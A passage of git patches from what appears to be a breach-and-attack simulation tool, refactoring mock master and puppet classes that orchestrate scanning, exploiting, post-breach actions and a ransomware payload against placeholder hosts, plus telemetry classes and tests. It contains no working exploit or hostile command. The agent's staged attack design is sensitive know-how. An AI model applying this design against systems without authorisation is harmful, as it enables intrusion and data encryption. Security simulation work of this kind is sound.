a/monkey/infection_monkey/i_control_channel.py +++ b/monkey/infection_monkey/i_control_channel.py @@ -2,6 +2,13 @@ import abc class IControlChannel(metaclass=abc.ABCMeta): + @property + @abc.abstractmethod + def control_channel_server(self): + """ + :return: Worm configuration server + """ + @abc.abstractmethod def should_agent_stop(self) -> bool: """ From 839024f2437cd04fd4ecc5d5ce91cde870b8fe7b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 Nov 2021 15:20:19 +0100 Subject: [PATCH 0010/1110] Island: Fix formatting in config --- monkey/monkey_island/cc/resources/propagation_credentials.py | 2 +- monkey/monkey_island/cc/services/config.py | 4 +++- vulture_allowlist.py | 3 +++ 3 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py index 16699300e..74e99b10d 100644 --- a/monkey/monkey_island/cc/resources/propagation_credentials.py +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -6,4 +6,4 @@ from monkey_island.cc.services.config import ConfigService class PropagationCredentials(flask_restful.Resource): def get(self): - return {'propagation_credentials': ConfigService.get_config_propagation_credentials()} + return {"propagation_credentials": ConfigService.get_config_propagation_credentials()} diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 4be546c57..280cdf763 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -411,7 +411,9 @@ class ConfigService: @staticmethod def get_config_propagation_credentials(): return { - "exploit_user_list": ConfigService.get_config_value(USER_LIST_PATH, should_decrypt=False), + "exploit_user_list": ConfigService.get_config_value( + USER_LIST_PATH, should_decrypt=False + ), "exploit_password_list": ConfigService.get_config_value( PASSWORD_LIST_PATH, should_decrypt=False ), diff --git a/vulture_allowlist.py b/vulture_allowlist.py index f2c6edf3a..4f67c9860 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -209,3 +209,6 @@ scan_tcp_port fingerprint interrupt MockPuppet +ControlChannel +should_agent_stop +get_credentials_for_propagation From e9749dd82630ef663374ced737f38dc892a280cb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 11:08:05 -0500 Subject: [PATCH 0011/1110] Agent: Move control_channel.py to master/ --- monkey/infection_monkey/{ => master}/control_channel.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/infection_monkey/{ => master}/control_channel.py (100%) diff --git a/monkey/infection_monkey/control_channel.py b/monkey/infection_monkey/master/control_channel.py similarity index 100% rename from monkey/infection_monkey/control_channel.py rename to monkey/infection_monkey/master/control_channel.py From bd31cfd9470f29cfc01c162ba96759ef2939aba1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 22 Nov 2021 18:23:37 +0530 Subject: [PATCH 0012/1110] Agent: Add IMaster --- monkey/infection_monkey/i_master.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 monkey/infection_monkey/i_master.py diff --git a/monkey/infection_monkey/i_master.py b/monkey/infection_monkey/i_master.py new file mode 100644 index 000000000..b045941df --- /dev/null +++ b/monkey/infection_monkey/i_master.py @@ -0,0 +1,27 @@ +import abc + + +class IMaster(metaclass=abc.ABCMeta): + @abc.abstractmethod + def start(self) -> None: + """ + With the help of the puppet, starts and instructs the Agent to + perform various actions like scanning or exploiting a specific host. + """ + pass + + @abc.abstractmethod + def terminate(self) -> None: + """ + Effectively marks the Agent as dead, telling all actions being + performed by the Agent to stop. + """ + pass + + @abc.abstractmethod + def cleanup(self) -> None: + """ + With the help of the puppet, instructs the Agent to cleanup whatever + is required since the Agent was killed. + """ + pass From 082f034d58eff19161364b6b997def7793afe66a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 22 Nov 2021 13:02:09 -0500 Subject: [PATCH 0013/1110] Agent: Change the method docstrings for IMaster --- monkey/infection_monkey/i_master.py | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/i_master.py b/monkey/infection_monkey/i_master.py index b045941df..9caa71a4d 100644 --- a/monkey/infection_monkey/i_master.py +++ b/monkey/infection_monkey/i_master.py @@ -5,23 +5,18 @@ class IMaster(metaclass=abc.ABCMeta): @abc.abstractmethod def start(self) -> None: """ - With the help of the puppet, starts and instructs the Agent to - perform various actions like scanning or exploiting a specific host. + Run the control logic that will instruct the Puppet to perform various actions like scanning + or exploiting a specific host. """ - pass @abc.abstractmethod def terminate(self) -> None: """ - Effectively marks the Agent as dead, telling all actions being - performed by the Agent to stop. + Stop the master and interrupt any actions that are currently being executed. """ - pass @abc.abstractmethod def cleanup(self) -> None: """ - With the help of the puppet, instructs the Agent to cleanup whatever - is required since the Agent was killed. + Revert any changes that the master has directly or indirectly caused to the system. """ - pass From 612668f43b99cb432595ed55711632ef0d780504 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 22 Nov 2021 14:46:19 -0500 Subject: [PATCH 0014/1110] Agent: Add partially completed MockMaster --- monkey/infection_monkey/master/__init__.py | 0 monkey/infection_monkey/master/mock_master.py | 62 +++++++++++++++++++ 2 files changed, 62 insertions(+) create mode 100644 monkey/infection_monkey/master/__init__.py create mode 100644 monkey/infection_monkey/master/mock_master.py diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py new file mode 100644 index 000000000..a322cacd3 --- /dev/null +++ b/monkey/infection_monkey/master/mock_master.py @@ -0,0 +1,62 @@ +from infection_monkey.i_master import IMaster +from infection_monkey.i_puppet import IPuppet, PortScanData, PortStatus +from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem + + +class MockMaster(IMaster): + def __init__(self, puppet: IPuppet, telemetry_messenger: ITelemetryMessenger): + self._puppet = puppet + self._telemetry_messenger = telemetry_messenger + + def start(self) -> None: + self._run_sys_info_collectors() + self._run_pbas() + self._scan_victims() + + def _run_sys_info_collectors(self): + system_info_telemetry = {} + system_info_telemetry["ProcessListCollector"] = self._puppet.run_sys_info_collector( + "ProcessListCollector" + ) + self._telemetry_messenger.send_telemetry( + SystemInfoTelem({"collectors": system_info_telemetry}) + ) + system_info = self._puppet.run_sys_info_collector("LinuxInfoCollector") + self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) + + def _run_pbas(self): + self._puppet.run_pba("AccountDiscovery", {}) + self._puppet.run_pba("CommunicateAsBackdoorUser", {}) + + def _scan_victims(self): + # TODO: The telemetry must be malformed somehow, or something else is wrong. This causes the + # Island to raise an error when reports are viewed. + ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] + ports = [22, 445, 3389, 8008] + for ip in ips: + h = VictimHost(ip) + + (response_received, os) = self._puppet.ping(ip) + h.icmp = response_received + if os is not None: + h.os["type"] = os + + for p in ports: + port_scan_data = self._puppet.scan_tcp_port(ip, p) + if port_scan_data.status == PortStatus.OPEN: + h.services[port_scan_data.service] = {} + h.services[port_scan_data.service]["display_name"] = "unknown(TCP)" + h.services[port_scan_data.service]["port"] = port_scan_data.port + if port_scan_data.banner is not None: + h.services[port_scan_data.service]["banner"] = port_scan_data.banner + + self._telemetry_messenger.send_telemetry(ScanTelem(h)) + + def terminate(self) -> None: + pass + + def cleanup(self) -> None: + pass From 357f74955748df3619a43f39e82ef1b7b8fe39fb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 Nov 2021 14:48:52 +0100 Subject: [PATCH 0015/1110] Agent: Fix typo in puppet ping function that messed with node states --- monkey/infection_monkey/puppet/mock_puppet.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 0652c109b..674908c14 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -154,7 +154,7 @@ class MockPuppet(IPuppet): return (False, None) if host == DOT_3: - return (True, "Linux") + return (True, "linux") if host == DOT_4: return (False, None) From ea8be28a72dbcf015174cdc842e965e9c665b895 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 11:51:09 -0500 Subject: [PATCH 0016/1110] Agent: Log a message in MockMaster.terminate() --- monkey/infection_monkey/master/mock_master.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index a322cacd3..e3592841b 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -1,3 +1,5 @@ +import logging + from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, PortScanData, PortStatus from infection_monkey.model.host import VictimHost @@ -5,6 +7,8 @@ from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemet from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem +logger = logging.getLogger() + class MockMaster(IMaster): def __init__(self, puppet: IPuppet, telemetry_messenger: ITelemetryMessenger): @@ -56,7 +60,7 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(ScanTelem(h)) def terminate(self) -> None: - pass + logger.info("Terminating MockMaster") def cleanup(self) -> None: pass From b48ddd055a1fa597971dcc40b87cd7ed2ea2a371 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 23 Nov 2021 19:32:37 +0530 Subject: [PATCH 0017/1110] Agent: Progress implementing MockMaster --- monkey/infection_monkey/master/mock_master.py | 35 ++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index e3592841b..b23712f71 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -1,8 +1,10 @@ import logging from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet, PortScanData, PortStatus +from infection_monkey.i_puppet import IPuppet, PortStatus from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -19,6 +21,9 @@ class MockMaster(IMaster): self._run_sys_info_collectors() self._run_pbas() self._scan_victims() + self._fingerprint() + self._exploit() + self._run_payload() def _run_sys_info_collectors(self): system_info_telemetry = {} @@ -59,6 +64,34 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(ScanTelem(h)) + def _fingerprint(self): + machine_1 = VictimHost("10.0.0.1") + machine_3 = VictimHost("10.0.0.3") + + self._puppet.fingerprint("SMBFinger", machine_1) + self._telemetry_messenger.send_telemetry(ScanTelem(machine_1)) + + self._puppet.fingerprint("SMBFinger", machine_3) + self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) + + self._puppet.fingerprint("HTTPFinger", machine_3) + self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) + + def _exploit(self): + # TODO: modify what ExploitTelem gets + self._telemetry_messenger.send_telemetry( + ExploitTelem(self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None)) + ) + self._telemetry_messenger.send_telemetry( + ExploitTelem(self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None)) + ) + + def _run_payload(self): + # TODO: modify what FileEncryptionTelem gets + self._telemetry_messenger.send_telemetry( + FileEncryptionTelem(self._run_payload("RansomwarePayload", {}, None)) + ) + def terminate(self) -> None: logger.info("Terminating MockMaster") From 7b0f08ee54eba0b265c2eb2b09abb56461fc481b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Nov 2021 00:12:41 +0530 Subject: [PATCH 0018/1110] Agent: Finish implementing MockMaster Also modified ExploitTelem and PostBreachTelem internals, and MockPuppet. --- monkey/infection_monkey/i_puppet.py | 11 +++-- monkey/infection_monkey/master/mock_master.py | 39 +++++++++++----- monkey/infection_monkey/puppet/mock_puppet.py | 45 +++++++++++++++---- .../telemetry/exploit_telem.py | 28 ++++++++---- .../telemetry/post_breach_telem.py | 19 ++++---- vulture_allowlist.py | 1 + 6 files changed, 103 insertions(+), 40 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index c10731d8f..d9d225b7b 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -10,7 +10,9 @@ class PortStatus(Enum): CLOSED = 2 +ExploiterResultData = namedtuple("ExploiterResultData", ["result", "info", "attempts"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) +PostBreachData = namedtuple("PostBreachData", ["command", "result"]) class IPuppet(metaclass=abc.ABCMeta): @@ -24,11 +26,12 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_pba(self, name: str, options: Dict) -> None: + def run_pba(self, name: str, options: Dict) -> PostBreachData: """ Runs a post-breach action (PBA) :param str name: The name of the post-breach action to run :param Dict options: A dictionary containing options that modify the behavior of the PBA + :rtype: PostBreachData """ @abc.abstractmethod @@ -63,7 +66,9 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def exploit_host(self, name: str, host: str, options: Dict, interrupt: threading.Event) -> bool: + def exploit_host( + self, name: str, host: str, options: Dict, interrupt: threading.Event + ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run @@ -71,7 +76,7 @@ class IPuppet(metaclass=abc.ABCMeta): :param Dict options: A dictionary containing options that modify the behavior of the exploiter :return: True if exploitation was successful, False otherwise - :rtype: bool + :rtype: ExploiterResultData """ @abc.abstractmethod diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index b23712f71..f73bcd120 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -6,6 +6,7 @@ from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -16,6 +17,12 @@ class MockMaster(IMaster): def __init__(self, puppet: IPuppet, telemetry_messenger: ITelemetryMessenger): self._puppet = puppet self._telemetry_messenger = telemetry_messenger + self._hosts = { + "10.0.0.1": VictimHost("10.0.0.1"), + "10.0.0.2": VictimHost("10.0.0.2"), + "10.0.0.3": VictimHost("10.0.0.3"), + "10.0.0.4": VictimHost("10.0.0.4"), + } def start(self) -> None: self._run_sys_info_collectors() @@ -37,8 +44,13 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) def _run_pbas(self): - self._puppet.run_pba("AccountDiscovery", {}) - self._puppet.run_pba("CommunicateAsBackdoorUser", {}) + name = "AccountDiscovery" + command, result = self._puppet.run_pba(name, {}) + self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) + + name = "CommunicateAsBackdoorUser" + command, result = self._puppet.run_pba(name, {}) + self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) def _scan_victims(self): # TODO: The telemetry must be malformed somehow, or something else is wrong. This causes the @@ -46,7 +58,7 @@ class MockMaster(IMaster): ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] ports = [22, 445, 3389, 8008] for ip in ips: - h = VictimHost(ip) + h = self._hosts[ip] (response_received, os) = self._puppet.ping(ip) h.icmp = response_received @@ -65,8 +77,8 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(ScanTelem(h)) def _fingerprint(self): - machine_1 = VictimHost("10.0.0.1") - machine_3 = VictimHost("10.0.0.3") + machine_1 = self._hosts["10.0.0.1"] + machine_3 = self._hosts["10.0.0.3"] self._puppet.fingerprint("SMBFinger", machine_1) self._telemetry_messenger.send_telemetry(ScanTelem(machine_1)) @@ -78,19 +90,22 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) def _exploit(self): - # TODO: modify what ExploitTelem gets - self._telemetry_messenger.send_telemetry( - ExploitTelem(self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None)) + result, info, attempts = self._puppet.exploit_host( + "PowerShellExploiter", "10.0.0.1", {}, None ) self._telemetry_messenger.send_telemetry( - ExploitTelem(self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None)) + ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result, info, attempts) + ) + + result, info, attempts = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) + self._telemetry_messenger.send_telemetry( + ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result, info, attempts) ) def _run_payload(self): # TODO: modify what FileEncryptionTelem gets - self._telemetry_messenger.send_telemetry( - FileEncryptionTelem(self._run_payload("RansomwarePayload", {}, None)) - ) + path, success, error = self._puppet.run_payload("RansomwarePayload", {}, None) + self._telemetry_messenger.send_telemetry(FileEncryptionTelem(path, success, error)) def terminate(self) -> None: logger.info("Terminating MockMaster") diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 674908c14..92eeea70e 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,8 +1,14 @@ import logging import threading -from typing import Dict, Optional, Tuple +from typing import Dict, List, Optional, Tuple -from infection_monkey.i_puppet import IPuppet, PortScanData, PortStatus +from infection_monkey.i_puppet import ( + ExploiterResultData, + IPuppet, + PortScanData, + PortStatus, + PostBreachData, +) DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" @@ -141,9 +147,15 @@ class MockPuppet(IPuppet): return {} - def run_pba(self, name: str, options: Dict) -> None: + def run_pba(self, name: str, options: Dict) -> List[Tuple[str, bool]]: logger.debug(f"run_pba({name}, {options})") - return None + result_1 = PostBreachData("pba command 1", "pba result 1") + result_2 = PostBreachData("pba command 2", "pba result 2") + + return [ + (result_1.command, result_1.result, True), + (result_2.command, result_2.result, False), + ] def ping(self, host: str) -> Tuple[bool, Optional[str]]: logger.debug(f"run_ping({host})") @@ -208,13 +220,30 @@ class MockPuppet(IPuppet): def exploit_host(self, name: str, host: str, options: Dict, interrupt: threading.Event) -> bool: logger.debug(f"exploit_hosts({name}, {host}, {options})") - successful_exploiters = {DOT_1: {"PowerShellExploiter"}, DOT_3: {"SSHExploiter"}} + successful_exploiters = { + DOT_1: { + "PowerShellExploiter": ExploiterResultData( + True, {"info": "important success stuff"}, ["attempt 1"] + ) + }, + DOT_3: { + "SSHExploiter": ExploiterResultData( + False, {"info": "important failure stuff"}, ["attempt 2"] + ) + }, + } - return name in successful_exploiters.get(host, {}) + return ( + successful_exploiters[host][name].result, + successful_exploiters[host][name].info, + successful_exploiters[host][name].attempts, + ) - def run_payload(self, name: str, options: Dict, interrupt: threading.Event) -> None: + def run_payload( + self, name: str, options: Dict, interrupt: threading.Event + ) -> Tuple[None, bool, str]: logger.debug(f"run_payload({name}, {options})") - return None + return (None, True, "") def cleanup(self) -> None: print("Cleanup called!") diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index e181b0243..a34b4e861 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,25 +1,35 @@ +from typing import Dict, List + from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem class ExploitTelem(BaseTelem): - def __init__(self, exploiter, result): + def __init__(self, name: str, host: VictimHost, result: bool, info: Dict, attempts: List): """ Default exploit telemetry constructor - :param exploiter: The instance of exploiter used - :param result: The result from the 'exploit_host' method. + :param name: The name of exploiter used + :param host: The host machine + :param result: The result from the 'exploit_host' method + :param info: Information about the exploiter + :param attempts: Information about the exploiter's attempts """ super(ExploitTelem, self).__init__() - self.exploiter = exploiter + + self.name = name + self.host = host.__dict__ self.result = result + self.info = info + self.attempts = attempts telem_category = TelemCategoryEnum.EXPLOIT - def get_data(self): + def get_data(self) -> Dict: return { "result": self.result, - "machine": self.exploiter.host.__dict__, - "exploiter": self.exploiter.__class__.__name__, - "info": self.exploiter.exploit_info, - "attempts": self.exploiter.exploit_attempts, + "machine": self.host, + "exploiter": self.name, + "info": self.info, + "attempts": self.attempts, } diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 4c6607b9c..e4f93e30d 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -1,4 +1,5 @@ import socket +from typing import Dict, Tuple from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem @@ -6,31 +7,33 @@ from infection_monkey.utils.environment import is_windows_os class PostBreachTelem(BaseTelem): - def __init__(self, pba, result): + def __init__(self, name: str, command: str, result: str) -> None: """ Default post breach telemetry constructor - :param pba: Post breach action which was used + :param name: Name of post breach action + :param command: Command used as PBA :param result: Result of PBA """ super(PostBreachTelem, self).__init__() - self.pba = pba + self.name = name + self.command = command self.result = result self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() telem_category = TelemCategoryEnum.POST_BREACH - def get_data(self): + def get_data(self) -> Dict: return { - "command": self.pba.command, + "command": self.command, "result": self.result, - "name": self.pba.name, + "name": self.name, "hostname": self.hostname, "ip": self.ip, "os": PostBreachTelem._get_os(), } @staticmethod - def _get_hostname_and_ip(): + def _get_hostname_and_ip() -> Tuple[str, str]: try: hostname = socket.gethostname() ip = socket.gethostbyname(hostname) @@ -40,5 +43,5 @@ class PostBreachTelem(BaseTelem): return hostname, ip @staticmethod - def _get_os(): + def _get_os() -> str: return "Windows" if is_windows_os() else "Linux" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 4f67c9860..9ad0ccc68 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -212,3 +212,4 @@ MockPuppet ControlChannel should_agent_stop get_credentials_for_propagation +MockMaster From 8c2eab4c2a93c42cf163c1a3a314d7f3dbb35458 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Nov 2021 00:16:14 +0530 Subject: [PATCH 0019/1110] Agent: Remove stray issue comment in MockMaster which was solved --- monkey/infection_monkey/master/mock_master.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index f73bcd120..9d44f5d32 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -53,8 +53,6 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) def _scan_victims(self): - # TODO: The telemetry must be malformed somehow, or something else is wrong. This causes the - # Island to raise an error when reports are viewed. ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] ports = [22, 445, 3389, 8008] for ip in ips: From 57b710fb10547801ae0839f842b09d518745cec5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Nov 2021 00:20:28 +0530 Subject: [PATCH 0020/1110] UT: Modify unit tests for ExploitTelem and PostBreachTelem based on previous changes --- .../infection_monkey/telemetry/test_exploit_telem.py | 3 +-- .../infection_monkey/telemetry/test_post_breach_telem.py | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 6ecfeba1a..982299947 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -19,7 +19,6 @@ HOST_AS_DICT = { "default_tunnel": None, "default_server": None, } -EXPLOITER = SSHExploiter(HOST) EXPLOITER_NAME = "SSHExploiter" EXPLOITER_INFO = { "display_name": SSHExploiter._EXPLOITED_SERVICE, @@ -35,7 +34,7 @@ RESULT = False @pytest.fixture def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER, RESULT) + return ExploitTelem(EXPLOITER_NAME, HOST, RESULT, EXPLOITER_INFO, EXPLOITER_ATTEMPTS) def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py index e880b3fc9..d71a82e2a 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py @@ -20,10 +20,9 @@ class StubSomePBA: @pytest.fixture def post_breach_telem_test_instance(monkeypatch): - PBA = StubSomePBA() monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) monkeypatch.setattr(PostBreachTelem, "_get_os", lambda: OS) - return PostBreachTelem(PBA, RESULT) + return PostBreachTelem(PBA_NAME, PBA_COMMAND, RESULT) def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): From d0b9fca4d74ba70558b2247ef371b188f0368f8d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Nov 2021 13:20:53 +0530 Subject: [PATCH 0021/1110] Agent: Fix return types and statements in mock puppet for PBA and exploiters --- monkey/infection_monkey/puppet/mock_puppet.py | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 92eeea70e..e203d9cec 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, List, Optional, Tuple +from typing import Dict, Optional, Tuple from infection_monkey.i_puppet import ( ExploiterResultData, @@ -147,15 +147,13 @@ class MockPuppet(IPuppet): return {} - def run_pba(self, name: str, options: Dict) -> List[Tuple[str, bool]]: + def run_pba(self, name: str, options: Dict) -> PostBreachData: logger.debug(f"run_pba({name}, {options})") - result_1 = PostBreachData("pba command 1", "pba result 1") - result_2 = PostBreachData("pba command 2", "pba result 2") - return [ - (result_1.command, result_1.result, True), - (result_2.command, result_2.result, False), - ] + if name == "AccountDiscovery": + return PostBreachData("pba command 1", "pba result 1") + else: + return PostBreachData("pba command 2", "pba result 2") def ping(self, host: str) -> Tuple[bool, Optional[str]]: logger.debug(f"run_ping({host})") @@ -218,7 +216,9 @@ class MockPuppet(IPuppet): return {} - def exploit_host(self, name: str, host: str, options: Dict, interrupt: threading.Event) -> bool: + def exploit_host( + self, name: str, host: str, options: Dict, interrupt: threading.Event + ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") successful_exploiters = { DOT_1: { @@ -233,11 +233,7 @@ class MockPuppet(IPuppet): }, } - return ( - successful_exploiters[host][name].result, - successful_exploiters[host][name].info, - successful_exploiters[host][name].attempts, - ) + return successful_exploiters[host][name] def run_payload( self, name: str, options: Dict, interrupt: threading.Event From e00fd64530d9a73a9aebd4007a6fe6f4e57e050c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Nov 2021 13:47:33 +0530 Subject: [PATCH 0022/1110] Agent: Fix PBA return value --- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index e203d9cec..6996d4d7c 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -151,9 +151,9 @@ class MockPuppet(IPuppet): logger.debug(f"run_pba({name}, {options})") if name == "AccountDiscovery": - return PostBreachData("pba command 1", "pba result 1") + return PostBreachData("pba command 1", ["pba result 1", True]) else: - return PostBreachData("pba command 2", "pba result 2") + return PostBreachData("pba command 2", ["pba result 2", False]) def ping(self, host: str) -> Tuple[bool, Optional[str]]: logger.debug(f"run_ping({host})") From 9d36f20b4238db1afe9c1a89f3dbf95e66d51142 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 23 Nov 2021 15:27:09 +0200 Subject: [PATCH 0023/1110] Agent: register signal handlers Agent will now handle interrupt and break signals on linux and windows --- monkey/infection_monkey/monkey.py | 3 +++ .../infection_monkey/utils/signal_handler.py | 21 +++++++++++++++++++ 2 files changed, 24 insertions(+) create mode 100644 monkey/infection_monkey/utils/signal_handler.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4160a36e0..4c5584558 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -38,6 +38,7 @@ from infection_monkey.utils.monkey_dir import ( remove_monkey_dir, ) from infection_monkey.utils.monkey_log_path import get_monkey_log_path +from infection_monkey.utils.signal_handler import register_signal_handlers from 